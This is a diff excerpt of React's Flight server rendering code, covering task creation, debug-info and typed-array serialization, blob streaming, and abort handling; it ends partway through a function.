+          debugInfo.stack = filterStackTrace(
+            request,
+            parseStackTrace(stack, 1),
+          );
+        }
+      }
+    }
+    // We don't have a start time for this await but in case there was no start time emitted
+    // we need to include something. TODO: We should maybe ideally track the time when we
+    // called .then() but without updating the task.time field since that's used for the cutoff.
+    advanceTaskTime(request, task, task.time);
+    emitDebugChunk(request, task.id, debugInfo);
+    // Mark the end time of the await. If we're aborting then we don't emit this
+    // to signal that this never resolved inside this render.
+    // If we're currently aborting, then this never resolved into user space.
+    markOperationEndTime(request, task, awaitedNode.end);
+  }
 }
 
 function pingTask(request: Request, task: Task): void {
+  if (
+    enableProfilerTimer &&
+    (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+  ) {
+    // If this was async we need to emit the time when it completes.
+    task.timed = true;
+  }
   const pingedTasks = request.pingedTasks;
   pingedTasks.push(task);
   if (pingedTasks.length === 1) {
     request.flushScheduled = request.destination !== null;
-    scheduleMicrotask(() => performWork(request));
+    if (request.type === PRERENDER || request.status === OPENING) {
+      scheduleMicrotask(() => performWork(request));
+    } else {
+      scheduleWork(() => performWork(request));
+    }
   }
 }
 
 function createTask(
   request: Request,
   model: ReactClientValue,
-  keyPath: null | string,
+  keyPath: ReactKey,
   implicitSlot: boolean,
+  formatContext: FormatContext,
   abortSet: Set<Task>,
+  lastTimestamp: number, // Profiling-only
+  debugOwner: null | ReactComponentInfo, // DEV-only
+  debugStack: null | Error, // DEV-only
+  debugTask: null | ConsoleTask, // DEV-only
 ): Task {
   request.pendingChunks++;
   const id = request.nextChunkId++;
@@ -1658,6 +2731,7 @@ function createTask(
     model,
     keyPath,
     implicitSlot,
+    formatContext: formatContext,
     ping: () => pingTask(request, task),
     toJSON: function (
       this:
@@ -1676,38 +2750,60 @@ function createTask(
           originalValue !== value &&
           !(originalValue instanceof Date)
         ) {
-          if (objectName(originalValue) !== 'Object') {
-            const jsxParentType = jsxChildrenParents.get(parent);
-            if (typeof jsxParentType === 'string') {
-              console.error(
-                '%s objects cannot be rendered as text children. Try formatting it using toString().%s',
-                objectName(originalValue),
-                describeObjectForErrorMessage(parent, parentPropertyName),
-              );
+          // Call with the server component as the currently rendering component
+          // for context.
+          callWithDebugContextInDEV(request, task, () => {
+            if (objectName(originalValue) !== 'Object') {
+              const jsxParentType = jsxChildrenParents.get(parent);
+              if (typeof jsxParentType === 'string') {
+                console.error(
+                  '%s objects cannot be rendered as text children. Try formatting it using toString().%s',
+                  objectName(originalValue),
+                  describeObjectForErrorMessage(parent, parentPropertyName),
+                );
+              } else {
+                console.error(
+                  'Only plain objects can be passed to Client Components from Server Components. ' +
+                    '%s objects are not supported.%s',
+                  objectName(originalValue),
+                  describeObjectForErrorMessage(parent, parentPropertyName),
+                );
+              }
             } else {
               console.error(
                 'Only plain objects can be passed to Client Components from Server Components. ' +
-                  '%s objects are not supported.%s',
-                objectName(originalValue),
+                  'Objects with toJSON methods are not supported. Convert it manually ' +
+                  'to a simple value before passing it to props.%s',
                 describeObjectForErrorMessage(parent, parentPropertyName),
               );
             }
-          } else {
-            console.error(
-              'Only plain objects can be passed to Client Components from Server Components. ' +
-                'Objects with toJSON methods are not supported. Convert it manually ' +
-                'to a simple value before passing it to props.%s',
-              describeObjectForErrorMessage(parent, parentPropertyName),
-            );
-          }
+          });
         }
       }
       return renderModel(request, task, parent, parentPropertyName, value);
     },
     thenableState: null,
-  }: Omit<Task, 'environmentName'>): any);
+  }: Omit<
+    Task,
+    | 'timed'
+    | 'time'
+    | 'environmentName'
+    | 'debugOwner'
+    | 'debugStack'
+    | 'debugTask',
+  >): any);
+  if (
+    enableProfilerTimer &&
+    (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+  ) {
+    task.timed = false;
+    task.time = lastTimestamp;
+  }
   if (__DEV__) {
     task.environmentName = request.environmentName();
+    task.debugOwner = debugOwner;
+    task.debugStack = debugStack;
+    task.debugTask = debugTask;
   }
   abortSet.add(task);
   return task;
@@ -1721,22 +2817,36 @@ function serializeLazyID(id: number): string {
   return '$L' + id.toString(16);
 }
 
-function serializeInfinitePromise(): string {
-  return '$@';
-}
-
 function serializePromiseID(id: number): string {
   return '$@' + id.toString(16);
 }
 
 function serializeServerReferenceID(id: number): string {
-  return '$F' + id.toString(16);
+  return '$h' + id.toString(16);
 }
 
 function serializeSymbolReference(name: string): string {
   return '$S' + name;
 }
 
+function serializeDeferredObject(
+  request: Request,
+  value: ReactClientReference | string,
+): string {
+  const deferredDebugObjects = request.deferredDebugObjects;
+  if (deferredDebugObjects !== null) {
+    // This client supports a long lived connection. We can assign this object
+    // an ID to be lazy loaded later.
+    // This keeps the connection alive until we ask for it or release it.
+    request.pendingDebugChunks++;
+    const id = request.nextChunkId++;
+    deferredDebugObjects.existing.set(value, id);
+    deferredDebugObjects.retained.set(id, value);
+    return '$Y' + id.toString(16);
+  }
+  return '$Y';
+}
+
 function serializeNumber(number: number): string | number {
   if (Number.isFinite(number)) {
     if (number === 0 && 1 / number === -Infinity) {
@@ -1759,6 +2869,12 @@ function serializeUndefined(): string {
   return '$undefined';
 }
 
+function serializeDate(date: Date): string {
+  // JSON.stringify automatically calls Date.prototype.toJSON which calls toISOString.
+  // We need only tack on a $D prefix.
+  return '$D' + date.toJSON();
+}
+
 function serializeDateFromDateJSON(dateJSON: string): string {
   // JSON.stringify automatically calls Date.prototype.toJSON which calls toISOString.
   // We need only tack on a $D prefix.
@@ -1811,7 +2927,7 @@ function serializeClientReference(
       resolveClientReferenceMetadata(request.bundlerConfig, clientReference);
     request.pendingChunks++;
     const importId = request.nextChunkId++;
-    emitImportChunk(request, importId, clientReferenceMetadata);
+    emitImportChunk(request, importId, clientReferenceMetadata, false);
     writtenClientReferences.set(clientReferenceKey, importId);
     if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {
       // If we're encoding the "type" of an element, we can refer
@@ -1825,19 +2941,90 @@ function serializeClientReference(
   } catch (x) {
     request.pendingChunks++;
     const errorId = request.nextChunkId++;
-    const digest = logRecoverableError(request, x);
-    emitErrorChunk(request, errorId, digest, x);
+    const digest = logRecoverableError(request, x, null);
+    emitErrorChunk(request, errorId, digest, x, false, null);
+    return serializeByValueID(errorId);
+  }
+}
+
+function serializeDebugClientReference(
+  request: Request,
+  parent:
+    | {+[propertyName: string | number]: ReactClientValue}
+    | $ReadOnlyArray<ReactClientValue>,
+  parentPropertyName: string,
+  clientReference: ClientReference<any>,
+): string {
+  // Like serializeDebugClientReference but it doesn't dedupe in the regular set
+  // and it writes to completedDebugChunk instead of imports.
+  const clientReferenceKey: ClientReferenceKey =
+    getClientReferenceKey(clientReference);
+  const writtenClientReferences = request.writtenClientReferences;
+  const existingId = writtenClientReferences.get(clientReferenceKey);
+  if (existingId !== undefined) {
+    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {
+      // If we're encoding the "type" of an element, we can refer
+      // to that by a lazy reference instead of directly since React
+      // knows how to deal with lazy values. This lets us suspend
+      // on this component rather than its parent until the code has
+      // loaded.
+      return serializeLazyID(existingId);
+    }
+    return serializeByValueID(existingId);
+  }
+  try {
+    const clientReferenceMetadata: ClientReferenceMetadata =
+      resolveClientReferenceMetadata(request.bundlerConfig, clientReference);
+    request.pendingDebugChunks++;
+    const importId = request.nextChunkId++;
+    emitImportChunk(request, importId, clientReferenceMetadata, true);
+    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {
+      // If we're encoding the "type" of an element, we can refer
+      // to that by a lazy reference instead of directly since React
+      // knows how to deal with lazy values. This lets us suspend
+      // on this component rather than its parent until the code has
+      // loaded.
+      return serializeLazyID(importId);
+    }
+    return serializeByValueID(importId);
+  } catch (x) {
+    request.pendingDebugChunks++;
+    const errorId = request.nextChunkId++;
+    const digest = logRecoverableError(request, x, null);
+    emitErrorChunk(request, errorId, digest, x, true, null);
     return serializeByValueID(errorId);
   }
 }
 
 function outlineModel(request: Request, value: ReactClientValue): number {
+  return outlineModelWithFormatContext(
+    request,
+    value,
+    // For deduped values we don't know which context it will be reused in
+    // so we have to assume that it's the root context.
+    createRootFormatContext(),
+  );
+}
+
+function outlineModelWithFormatContext(
+  request: Request,
+  value: ReactClientValue,
+  formatContext: FormatContext,
+): number {
   const newTask = createTask(
     request,
     value,
     null, // The way we use outlining is for reusing an object.
     false, // It makes no sense for that use case to be contextual.
+    formatContext, // Except for FormatContext we optimistically use it.
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? performance.now() // TODO: This should really inherit the time from the task.
+      : 0,
+    null, // TODO: Currently we don't associate any debug information with
+    null, // this object on the server. If it ends up erroring, it won't
+    null, // have any context on the server but can on the client.
   );
   retryTask(request, newTask);
   return newTask.id;
@@ -1853,17 +3040,53 @@ function serializeServerReference(
     return serializeServerReferenceID(existingId);
   }
 
-  const bound: null | Array<any> = getServerReferenceBoundArguments(
+  const boundArgs: null | Array<any> = getServerReferenceBoundArguments(
     request.bundlerConfig,
     serverReference,
   );
+  const bound = boundArgs === null ? null : Promise.resolve(boundArgs);
+  const id = getServerReferenceId(request.bundlerConfig, serverReference);
+
+  let location: null | ReactFunctionLocation = null;
+  if (__DEV__) {
+    const error = getServerReferenceLocation(
+      request.bundlerConfig,
+      serverReference,
+    );
+    if (error) {
+      const frames = parseStackTrace(error, 1);
+      if (frames.length > 0) {
+        const firstFrame = frames[0];
+        location = [
+          firstFrame[0],
+          firstFrame[1],
+          firstFrame[2], // The line and col of the callsite represents the
+          firstFrame[3], // enclosing line and col of the function.
+        ];
+      }
+    }
+  }
+
   const serverReferenceMetadata: {
     id: ServerReferenceId,
     bound: null | Promise<Array<any>>,
-  } = {
-    id: getServerReferenceId(request.bundlerConfig, serverReference),
-    bound: bound ? Promise.resolve(bound) : null,
-  };
+    name?: string, // DEV-only
+    env?: string, // DEV-only
+    location?: ReactFunctionLocation, // DEV-only
+  } =
+    __DEV__ && location !== null
+      ? {
+          id,
+          bound,
+          name:
+            typeof serverReference === 'function' ? serverReference.name : '',
+          env: (0, request.environmentName)(),
+          location,
+        }
+      : {
+          id,
+          bound,
+        };
   const metadataId = outlineModel(request, serverReferenceMetadata);
   writtenServerReferences.set(serverReference, metadataId);
   return serializeServerReferenceID(metadataId);
@@ -1879,7 +3102,14 @@ function serializeTemporaryReference(
 function serializeLargeTextString(request: Request, text: string): string {
   request.pendingChunks++;
   const textId = request.nextChunkId++;
-  emitTextChunk(request, textId, text);
+  emitTextChunk(request, textId, text, false);
+  return serializeByValueID(textId);
+}
+
+function serializeDebugLargeTextString(request: Request, text: string): string {
+  request.pendingDebugChunks++;
+  const textId = request.nextChunkId++;
+  emitTextChunk(request, textId, text, true);
   return serializeByValueID(textId);
 }
 
@@ -1898,12 +3128,70 @@ function serializeFormData(request: Request, formData: FormData): string {
   return '$K' + id.toString(16);
 }
 
+function serializeDebugFormData(request: Request, formData: FormData): string {
+  const entries = Array.from(formData.entries());
+  const id = outlineDebugModel(
+    request,
+    {objectLimit: entries.length * 2 + 1},
+    (entries: any),
+  );
+  return '$K' + id.toString(16);
+}
+
 function serializeSet(request: Request, set: Set<ReactClientValue>): string {
   const entries = Array.from(set);
   const id = outlineModel(request, entries);
   return '$W' + id.toString(16);
 }
 
+function serializeDebugMap(
+  request: Request,
+  counter: {objectLimit: number},
+  map: Map<ReactClientValue, ReactClientValue>,
+): string {
+  // Like serializeMap but for renderDebugModel.
+  const entries = Array.from(map);
+  // The Map itself doesn't take up any space but the outlined object does.
+  counter.objectLimit++;
+  for (let i = 0; i < entries.length; i++) {
+    // Outline every object entry in case we run out of space to serialize them.
+    // Because we can't mark these values as limited.
+    const entry = entries[i];
+    doNotLimit.add(entry);
+    const key = entry[0];
+    const value = entry[1];
+    if (typeof key === 'object' && key !== null) {
+      doNotLimit.add(key);
+    }
+    if (typeof value === 'object' && value !== null) {
+      doNotLimit.add(value);
+    }
+  }
+  const id = outlineDebugModel(request, counter, entries);
+  return '$Q' + id.toString(16);
+}
+
+function serializeDebugSet(
+  request: Request,
+  counter: {objectLimit: number},
+  set: Set<ReactClientValue>,
+): string {
+  // Like serializeMap but for renderDebugModel.
+  const entries = Array.from(set);
+  // The Set itself doesn't take up any space but the outlined object does.
+  counter.objectLimit++;
+  for (let i = 0; i < entries.length; i++) {
+    // Outline every object entry in case we run out of space to serialize them.
+    // Because we can't mark these values as limited.
+    const entry = entries[i];
+    if (typeof entry === 'object' && entry !== null) {
+      doNotLimit.add(entry);
+    }
+  }
+  const id = outlineDebugModel(request, counter, entries);
+  return '$W' + id.toString(16);
+}
+
 function serializeIterator(
   request: Request,
   iterator: Iterator<ReactClientValue>,
@@ -1919,10 +3207,60 @@ function serializeTypedArray(
 ): string {
   request.pendingChunks++;
   const bufferId = request.nextChunkId++;
-  emitTypedArrayChunk(request, bufferId, tag, typedArray);
+  emitTypedArrayChunk(request, bufferId, tag, typedArray, false);
+  return serializeByValueID(bufferId);
+}
+
+function serializeDebugTypedArray(
+  request: Request,
+  tag: string,
+  typedArray: $ArrayBufferView,
+): string {
+  if (typedArray.byteLength > 1000 && !doNotLimit.has(typedArray)) {
+    // Defer large typed arrays.
+    return serializeDeferredObject(request, typedArray);
+  }
+  request.pendingDebugChunks++;
+  const bufferId = request.nextChunkId++;
+  emitTypedArrayChunk(request, bufferId, tag, typedArray, true);
   return serializeByValueID(bufferId);
 }
 
+function serializeDebugBlob(request: Request, blob: Blob): string {
+  const model: Array<string | Uint8Array> = [blob.type];
+  const reader = blob.stream().getReader();
+  request.pendingDebugChunks++;
+  const id = request.nextChunkId++;
+  function progress(
+    entry: {done: false, value: Uint8Array} | {done: true, value: void},
+  ): Promise<void> | void {
+    if (entry.done) {
+      emitOutlinedDebugModelChunk(
+        request,
+        id,
+        {objectLimit: model.length + 2},
+        model,
+      );
+      enqueueFlush(request);
+      return;
+    }
+    // TODO: Emit the chunk early and refer to it later by dedupe.
+    model.push(entry.value);
+    // $FlowFixMe[incompatible-call]
+    return reader.read().then(progress).catch(error);
+  }
+  function error(reason: mixed) {
+    const digest = '';
+    emitErrorChunk(request, id, digest, reason, true, null);
+    enqueueFlush(request);
+    // $FlowFixMe should be able to pass mixed
+    reader.cancel(reason).then(noop, noop);
+  }
+  // $FlowFixMe[incompatible-call]
+  reader.read().then(progress).catch(error);
+  return '$B' + id.toString(16);
+}
+
 function serializeBlob(request: Request, blob: Blob): string {
   const model: Array<string | Uint8Array> = [blob.type];
   const newTask = createTask(
@@ -1930,21 +3268,27 @@ function serializeBlob(request: Request, blob: Blob): string {
     model,
     null,
     false,
+    createRootFormatContext(),
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? performance.now() // TODO: This should really inherit the time from the task.
+      : 0,
+    null, // TODO: Currently we don't associate any debug information with
+    null, // this object on the server. If it ends up erroring, it won't
+    null, // have any context on the server but can on the client.
   );
 
   const reader = blob.stream().getReader();
 
-  let aborted = false;
   function progress(
     entry: {done: false, value: Uint8Array} | {done: true, value: void},
   ): Promise<void> | void {
-    if (aborted) {
+    if (newTask.status !== PENDING) {
       return;
     }
     if (entry.done) {
-      request.abortListeners.delete(error);
-      aborted = true;
+      request.cacheController.signal.removeEventListener('abort', abortBlob);
       pingTask(request, newTask);
       return;
     }
@@ -1953,22 +3297,37 @@ function serializeBlob(request: Request, blob: Blob): string {
     // $FlowFixMe[incompatible-call]
     return reader.read().then(progress).catch(error);
   }
-
   function error(reason: mixed) {
-    if (aborted) {
+    if (newTask.status !== PENDING) {
       return;
     }
-    aborted = true;
-    request.abortListeners.delete(error);
-    const digest = logRecoverableError(request, reason);
-    emitErrorChunk(request, newTask.id, digest, reason);
-    request.abortableTasks.delete(newTask);
+    request.cacheController.signal.removeEventListener('abort', abortBlob);
+    erroredTask(request, newTask, reason);
     enqueueFlush(request);
     // $FlowFixMe should be able to pass mixed
     reader.cancel(reason).then(error, error);
   }
+  function abortBlob() {
+    if (newTask.status !== PENDING) {
+      return;
+    }
+    const signal = request.cacheController.signal;
+    signal.removeEventListener('abort', abortBlob);
+    const reason = signal.reason;
+    if (request.type === PRERENDER) {
+      request.abortableTasks.delete(newTask);
+      haltTask(newTask, request);
+      finishHaltedTask(newTask, request);
+    } else {
+      // TODO: Make this use abortTask() instead.
+      erroredTask(request, newTask, reason);
+      enqueueFlush(request);
+    }
+    // $FlowFixMe should be able to pass mixed
+    reader.cancel(reason).then(error, error);
+  }
 
-  request.abortListeners.add(error);
+  request.cacheController.signal.addEventListener('abort', abortBlob);
 
   // $FlowFixMe[incompatible-call]
   reader.read().then(progress).catch(error);
@@ -1997,6 +3356,9 @@ function renderModel(
   key: string,
   value: ReactClientValue,
 ): ReactJSONValue {
+  // First time we're serializing the key, we should add it to the size.
+  serializedSize += key.length;
+
   const prevKeyPath = task.keyPath;
   const prevImplicitSlot = task.implicitSlot;
   try {
@@ -2011,6 +3373,20 @@ function renderModel(
       ((model: any).$$typeof === REACT_ELEMENT_TYPE ||
         (model: any).$$typeof === REACT_LAZY_TYPE);
 
+    if (request.status === ABORTING) {
+      task.status = ABORTED;
+      if (request.type === PRERENDER) {
+        // This will create a new task and refer to it in this slot
+        // the new task won't be retried because we are aborting
+        return outlineHaltedTask(request, task, wasReactNode);
+      }
+      const errorId = (request.fatalError: any);
+      if (wasReactNode) {
+        return serializeLazyID(errorId);
+      }
+      return serializeByValueID(errorId);
+    }
+
     const x =
       thrownValue === SuspenseException
         ? // This is a special type of exception used for Suspense. For historical
@@ -2024,21 +3400,21 @@ function renderModel(
     if (typeof x === 'object' && x !== null) {
       // $FlowFixMe[method-unbinding]
       if (typeof x.then === 'function') {
-        if (request.status === ABORTING) {
-          task.status = ABORTED;
-          const errorId: number = (request.fatalError: any);
-          if (wasReactNode) {
-            return serializeLazyID(errorId);
-          }
-          return serializeByValueID(errorId);
-        }
         // Something suspended, we'll need to create a new task and resolve it later.
         const newTask = createTask(
           request,
           task.model,
           task.keyPath,
           task.implicitSlot,
+          task.formatContext,
           request.abortableTasks,
+          enableProfilerTimer &&
+            (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+            ? task.time
+            : 0,
+          __DEV__ ? task.debugOwner : null,
+          __DEV__ ? task.debugStack : null,
+          __DEV__ ? task.debugTask : null,
         );
         const ping = newTask.ping;
         (x: any).then(ping, ping);
@@ -2053,34 +3429,7 @@ function renderModel(
           return serializeLazyID(newTask.id);
         }
         return serializeByValueID(newTask.id);
-      } else if (enablePostpone && x.$$typeof === REACT_POSTPONE_TYPE) {
-        // Something postponed. We'll still send everything we have up until this point.
-        // We'll replace this element with a lazy reference that postpones on the client.
-        const postponeInstance: Postpone = (x: any);
-        request.pendingChunks++;
-        const postponeId = request.nextChunkId++;
-        logPostpone(request, postponeInstance.message);
-        emitPostponeChunk(request, postponeId, postponeInstance);
-
-        // Restore the context. We assume that this will be restored by the inner
-        // functions in case nothing throws so we don't use "finally" here.
-        task.keyPath = prevKeyPath;
-        task.implicitSlot = prevImplicitSlot;
-
-        if (wasReactNode) {
-          return serializeLazyID(postponeId);
-        }
-        return serializeByValueID(postponeId);
-      }
-    }
-
-    if (thrownValue === AbortSigil) {
-      task.status = ABORTED;
-      const errorId: number = (request.fatalError: any);
-      if (wasReactNode) {
-        return serializeLazyID(errorId);
       }
-      return serializeByValueID(errorId);
     }
 
     // Restore the context. We assume that this will be restored by the inner
@@ -2091,8 +3440,15 @@ function renderModel(
     // Something errored. We'll still send everything we have up until this point.
     request.pendingChunks++;
     const errorId = request.nextChunkId++;
-    const digest = logRecoverableError(request, x);
-    emitErrorChunk(request, errorId, digest, x);
+    const digest = logRecoverableError(request, x, task);
+    emitErrorChunk(
+      request,
+      errorId,
+      digest,
+      x,
+      false,
+      __DEV__ ? task.debugOwner : null,
+    );
     if (wasReactNode) {
       // We'll replace this element with a lazy reference that throws on the client
       // once it gets rendered.
@@ -2116,6 +3472,17 @@ function renderModelDestructive(
   // Set the currently rendering model
   task.model = value;
 
+  if (__DEV__) {
+    if (parentPropertyName === __PROTO__) {
+      callWithDebugContextInDEV(request, task, () => {
+        console.error(
+          'Expected not to serialize an object with own property `__proto__`. When parsed this property will be omitted.%s',
+          describeObjectForErrorMessage(parent, parentPropertyName),
+        );
+      });
+    }
+  }
+
   // Special Symbol, that's very common.
   if (value === REACT_ELEMENT_TYPE) {
     return '$';
@@ -2165,49 +3532,74 @@ function renderModelDestructive(
 
         const element: ReactElement = (value: any);
 
+        if (serializedSize > MAX_ROW_SIZE) {
+          return deferTask(request, task);
+        }
+
         if (__DEV__) {
           const debugInfo: ?ReactDebugInfo = (value: any)._debugInfo;
           if (debugInfo) {
             // If this came from Flight, forward any debug info into this new row.
-            if (debugID === null) {
+            if (!canEmitDebugInfo) {
               // We don't have a chunk to assign debug info. We need to outline this
               // component to assign it an ID.
               return outlineTask(request, task);
             } else {
               // Forward any debug info we have the first time we see it.
-              forwardDebugInfo(request, debugID, debugInfo);
+              forwardDebugInfo(request, task, debugInfo);
             }
           }
         }
 
         const props = element.props;
-        let ref;
-        if (enableRefAsProp) {
-          // TODO: This is a temporary, intermediate step. Once the feature
-          // flag is removed, we should get the ref off the props object right
-          // before using it.
-          const refProp = props.ref;
-          ref = refProp !== undefined ? refProp : null;
-        } else {
-          ref = element.ref;
-        }
+        // TODO: We should get the ref off the props object right before using
+        // it.
+        const refProp = props.ref;
+        const ref = refProp !== undefined ? refProp : null;
 
         // Attempt to render the Server Component.
+
+        if (__DEV__) {
+          task.debugOwner = element._owner;
+          task.debugStack = element._debugStack;
+          task.debugTask = element._debugTask;
+          if (
+            element._owner === undefined ||
+            element._debugStack === undefined ||
+            element._debugTask === undefined
+          ) {
+            let key = '';
+            if (element.key !== null && element.key !== REACT_OPTIMISTIC_KEY) {
+              key = ' key="' + element.key + '"';
+            }
+
+            console.error(
+              'Attempted to render <%s%s> without development properties. ' +
+                'This is not supported. It can happen if:' +
+                '\n- The element is created with a production version of React but rendered in development.' +
+                '\n- The element was cloned with a custom function instead of `React.cloneElement`.\n' +
+                'The props of this element may help locate this element: %o',
+              element.type,
+              key,
+              element.props,
+            );
+          }
+          // TODO: Pop this. Since we currently don't have a point where we can pop the stack
+          // this debug information will be used for errors inside sibling properties that
+          // are not elements. Leading to the wrong attribution on the server. We could fix
+          // that if we switch to a proper stack instead of JSON.stringify's trampoline.
+          // Attribution on the client is still correct since it has a pop.
+        }
+
         const newChild = renderElement(
           request,
           task,
           element.type,
-          // $FlowFixMe[incompatible-call] the key of an element is null | string
+          // $FlowFixMe[incompatible-call] the key of an element is null | string | ReactOptimisticKey
           element.key,
           ref,
           props,
-          __DEV__ ? element._owner : null,
-          __DEV__ && enableOwnerStacks
-            ? !element._debugStack || typeof element._debugStack === 'string'
-              ? element._debugStack
-              : filterDebugStack(element._debugStack)
-            : null,
-          __DEV__ && enableOwnerStacks ? element._store.validated : 0,
+          __DEV__ ? element._store.validated : 0,
         );
         if (
           typeof newChild === 'object' &&
@@ -2223,6 +3615,10 @@ function renderModelDestructive(
         return newChild;
       }
       case REACT_LAZY_TYPE: {
+        if (serializedSize > MAX_ROW_SIZE) {
+          return deferTask(request, task);
+        }
+
         // Reset the task's thenable state before continuing. If there was one, it was
         // from suspending the lazy before.
         task.thenableState = null;
@@ -2240,13 +3636,14 @@ function renderModelDestructive(
           // lazy initializers are user code and could abort during render
           // we don't wan to return any value resolved from the lazy initializer
           // if it aborts so we interrupt rendering here
-          throw AbortSigil;
+          // eslint-disable-next-line no-throw-literal
+          throw null;
         }
         if (__DEV__) {
           const debugInfo: ?ReactDebugInfo = lazy._debugInfo;
           if (debugInfo) {
             // If this came from Flight, forward any debug info into this new row.
-            if (debugID === null) {
+            if (!canEmitDebugInfo) {
               // We don't have a chunk to assign debug info. We need to outline this
               // component to assign it an ID.
               return outlineTask(request, task);
@@ -2254,15 +3651,15 @@ function renderModelDestructive(
               // Forward any debug info we have the first time we see it.
               // We do this after init so that we have received all the debug info
               // from the server by the time we emit it.
-              forwardDebugInfo(request, debugID, debugInfo);
+              forwardDebugInfo(request, task, debugInfo);
             }
           }
         }
         return renderModelDestructive(
           request,
           task,
-          emptyRoot,
-          '',
+          parent,
+          parentPropertyName,
           resolvedModel,
         );
       }
@@ -2333,6 +3730,11 @@ function renderModelDestructive(
 
     if (existingReference !== undefined) {
       if (modelRoot === value) {
+        if (existingReference !== serializeByValueID(task.id)) {
+          // Turns out that we already have this root at a different reference.
+          // Use that after all.
+          return existingReference;
+        }
         // This is the ID we're currently emitting so we need to write it
         // once but if we discover it again, we refer to it by id.
         modelRoot = null;
@@ -2362,6 +3764,9 @@ function renderModelDestructive(
             case '3':
               propertyName = 'props';
               break;
+            case '4':
+              propertyName = '_owner';
+              break;
           }
         }
         writtenObjects.set(value, parentReference + ':' + propertyName);
@@ -2382,63 +3787,63 @@ function renderModelDestructive(
     if (typeof FormData === 'function' && value instanceof FormData) {
       return serializeFormData(request, value);
     }
-
-    if (enableBinaryFlight) {
-      if (value instanceof ArrayBuffer) {
-        return serializeTypedArray(request, 'A', new Uint8Array(value));
-      }
-      if (value instanceof Int8Array) {
-        // char
-        return serializeTypedArray(request, 'O', value);
-      }
-      if (value instanceof Uint8Array) {
-        // unsigned char
-        return serializeTypedArray(request, 'o', value);
-      }
-      if (value instanceof Uint8ClampedArray) {
-        // unsigned clamped char
-        return serializeTypedArray(request, 'U', value);
-      }
-      if (value instanceof Int16Array) {
-        // sort
-        return serializeTypedArray(request, 'S', value);
-      }
-      if (value instanceof Uint16Array) {
-        // unsigned short
-        return serializeTypedArray(request, 's', value);
-      }
-      if (value instanceof Int32Array) {
-        // long
-        return serializeTypedArray(request, 'L', value);
-      }
-      if (value instanceof Uint32Array) {
-        // unsigned long
-        return serializeTypedArray(request, 'l', value);
-      }
-      if (value instanceof Float32Array) {
-        // float
-        return serializeTypedArray(request, 'G', value);
-      }
-      if (value instanceof Float64Array) {
-        // double
-        return serializeTypedArray(request, 'g', value);
-      }
-      if (value instanceof BigInt64Array) {
-        // number
-        return serializeTypedArray(request, 'M', value);
-      }
-      if (value instanceof BigUint64Array) {
-        // unsigned number
-        // We use "m" instead of "n" since JSON can start with "null"
-        return serializeTypedArray(request, 'm', value);
-      }
-      if (value instanceof DataView) {
-        return serializeTypedArray(request, 'V', value);
-      }
-      // TODO: Blob is not available in old Node. Remove the typeof check later.
-      if (typeof Blob === 'function' && value instanceof Blob) {
-        return serializeBlob(request, value);
-      }
+    if (value instanceof Error) {
+      return serializeErrorValue(request, value);
+    }
+    if (value instanceof ArrayBuffer) {
+      return serializeTypedArray(request, 'A', new Uint8Array(value));
+    }
+    if (value instanceof Int8Array) {
+      // char
+      return serializeTypedArray(request, 'O', value);
+    }
+    if (value instanceof Uint8Array) {
+      // unsigned char
+      return serializeTypedArray(request, 'o', value);
+    }
+    if (value instanceof Uint8ClampedArray) {
+      // unsigned clamped char
+      return serializeTypedArray(request, 'U', value);
+    }
+    if (value instanceof Int16Array) {
+      // sort
+      return serializeTypedArray(request, 'S', value);
+    }
+    if (value instanceof Uint16Array) {
+      // unsigned short
+      return serializeTypedArray(request, 's', value);
+    }
+    if (value instanceof Int32Array) {
+      // long
+      return serializeTypedArray(request, 'L', value);
+    }
+    if (value instanceof Uint32Array) {
+      // unsigned long
+      return serializeTypedArray(request, 'l', value);
+    }
+    if (value instanceof Float32Array) {
+      // float
+      return serializeTypedArray(request, 'G', value);
+    }
+    if (value instanceof Float64Array) {
+      // double
+      return serializeTypedArray(request, 'g', value);
+    }
+    if (value instanceof BigInt64Array) {
+      // number
+      return serializeTypedArray(request, 'M', value);
+    }
+    if (value instanceof BigUint64Array) {
+      // unsigned number
+      // We use "m" instead of "n" since JSON can start with "null"
+      return serializeTypedArray(request, 'm', value);
+    }
+    if (value instanceof DataView) {
+      return serializeTypedArray(request, 'V', value);
+    }
+    // TODO: Blob is not available in old Node. Remove the typeof check later.
+    if (typeof Blob === 'function' && value instanceof Blob) {
+      return serializeBlob(request, value);
     }
 
     const iteratorFn = getIteratorFn(value);
@@ -2452,25 +3857,26 @@ function renderModelDestructive(
       return renderFragment(request, task, Array.from((iterator: any)));
     }
 
-    if (enableFlightReadableStream) {
-      // TODO: Blob is not available in old Node. Remove the typeof check later.
-      if (
-        typeof ReadableStream === 'function' &&
-        value instanceof ReadableStream
-      ) {
-        return serializeReadableStream(request, task, value);
-      }
-      const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =
-        (value: any)[ASYNC_ITERATOR];
-      if (typeof getAsyncIterator === 'function') {
-        // We treat AsyncIterables as a Fragment and as such we might need to key them.
-        return renderAsyncFragment(
-          request,
-          task,
-          (value: any),
-          getAsyncIterator,
-        );
-      }
+    // TODO: Blob is not available in old Node. Remove the typeof check later.
+    if (
+      typeof ReadableStream === 'function' &&
+      value instanceof ReadableStream
+    ) {
+      return serializeReadableStream(request, task, value);
+    }
+    const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =
+      (value: any)[ASYNC_ITERATOR];
+    if (typeof getAsyncIterator === 'function') {
+      // We treat AsyncIterables as a Fragment and as such we might need to key them.
+      return renderAsyncFragment(request, task, (value: any), getAsyncIterator);
+    }
+
+    // We put the Date check low b/c most of the time Date's will already have been serialized
+    // before we process it in this function but when rendering a Date() as a top level it can
+    // end up being a Date instance here. This is rare so we deprioritize it by putting it deep
+    // in this function
+    if (value instanceof Date) {
+      return serializeDate(value);
     }
 
     // Verify that this is a simple plain object.
@@ -2481,59 +3887,39 @@ function renderModelDestructive(
     ) {
       throw new Error(
         'Only plain objects, and a few built-ins, can be passed to Client Components ' +
-          'from Server Components. Classes or null prototypes are not supported.',
